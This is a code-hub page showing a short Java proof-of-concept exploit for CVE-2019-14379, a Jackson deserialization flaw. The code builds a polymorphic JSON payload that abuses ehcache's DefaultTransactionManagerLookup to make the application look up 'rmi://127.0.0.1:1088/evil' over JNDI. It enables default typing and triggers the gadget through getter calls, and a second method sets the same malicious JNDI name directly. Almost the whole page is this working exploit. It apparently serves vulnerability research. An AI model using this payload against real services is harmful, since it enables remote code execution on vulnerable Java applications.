MCPcopy Create free account
hub / github.com/Firebasky/Java / CVE_2019_14379

Class CVE_2019_14379

jackson/src/main/java/com/firebasky/cve/CVE_2019_14379.java:20–37  ·  view source on GitHub ↗

DefaultTransactionManagerLookup.setProperties() DefaultTransactionManagerLookup.defaultJndiSelector.setJndiName() DefaultTransactionManagerLookup.getTransactionManager() DefaultTransactionManagerLookup.lookupTransactionManager() Selector.getTransactionManager() Selector.d

Source from the content-addressed store, hash-verified

18 */
19
20public class CVE_2019_14379 {
21 //jndi
22 public static void main(String[] args) throws IOException {
23 String json = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"rmi://127.0.0.1:1088/evil\"}]";
24 ObjectMapper mapper = new ObjectMapper();
25 mapper.enableDefaultTyping();
26 Object o = mapper.readValue(json, Object.class);
27 mapper.writeValueAsString(o);//调用get方法
28 }
29
30 public static void test(){
31 DefaultTransactionManagerLookup defaultTransactionManagerLookup = new DefaultTransactionManagerLookup();
32 Properties properties = new Properties();
33 properties.setProperty("jndiName","rmi://127.0.0.1:1099/evil");
34 defaultTransactionManagerLookup.setProperties(properties);
35 //defaultTransactionManagerLookup.getTransactionManager();
36 }
37}

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected